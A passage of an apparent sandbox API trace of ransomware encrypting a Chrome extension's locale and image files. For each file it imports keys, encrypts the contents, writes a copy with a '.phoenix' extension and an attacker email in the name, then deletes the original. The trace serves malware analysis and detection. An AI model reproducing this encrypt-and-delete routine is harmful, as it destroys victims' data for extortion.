	[0260.060] CryptDestroyKey (hKey=0x151480) returned 1
	[0260.060] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe2, lpOverlapped=0x0) returned 1
	[0260.060] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0260.060] CloseHandle (hObject=0x254) returned 1
	[0260.061] CloseHandle (hObject=0x2c0) returned 1
	[0260.061] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png")) returned 1
	[0260.062] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.062] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.063] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.063] CloseHandle (hObject=0x2c0) returned 1
	[0260.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json")) returned 0x20
	[0260.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.063] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.063] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.063] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.063] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.064] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0260.064] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.064] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.065] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.065] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.065] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0260.065] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.065] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.065] CryptDestroyKey (hKey=0x151080) returned 1
	[0260.065] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.066] CryptDestroyKey (hKey=0x151100) returned 1
	[0260.066] CloseHandle (hObject=0x2c0) returned 1
	[0260.066] CloseHandle (hObject=0x254) returned 1
	[0260.066] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json")) returned 1
	[0260.067] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.067] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.067] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.067] CloseHandle (hObject=0x254) returned 1
	[0260.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json")) returned 0x20
	[0260.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.067] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.067] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.068] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.068] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0260.068] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.068] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.071] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.071] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.072] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0260.072] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.072] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.072] CryptDestroyKey (hKey=0x151300) returned 1
	[0260.072] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.072] CryptDestroyKey (hKey=0x151080) returned 1
	[0260.072] CloseHandle (hObject=0x254) returned 1
	[0260.073] CloseHandle (hObject=0x2c0) returned 1
	[0260.073] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json")) returned 1
	[0260.074] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.074] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.074] CloseHandle (hObject=0x2c0) returned 1
	[0260.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json")) returned 0x20
	[0260.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.074] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.074] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.075] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0260.075] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.075] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.076] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.076] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.077] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0260.077] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.077] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.077] CryptDestroyKey (hKey=0x151080) returned 1
	[0260.077] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.077] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0260.077] CloseHandle (hObject=0x2c0) returned 1
	[0260.077] CloseHandle (hObject=0x254) returned 1
	[0260.077] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json")) returned 1
	[0260.078] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.078] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.079] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.079] CloseHandle (hObject=0x254) returned 1
	[0260.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json")) returned 0x20
	[0260.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.079] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.079] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.079] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.079] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.080] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0260.080] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.080] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.081] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.081] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.082] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0260.082] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.082] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.082] CryptDestroyKey (hKey=0x151180) returned 1
	[0260.082] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.082] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0260.082] CloseHandle (hObject=0x254) returned 1
	[0260.082] CloseHandle (hObject=0x2c0) returned 1
	[0260.082] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json")) returned 1
	[0260.083] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.084] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.084] CloseHandle (hObject=0x2c0) returned 1
	[0260.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json")) returned 0x20
	[0260.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
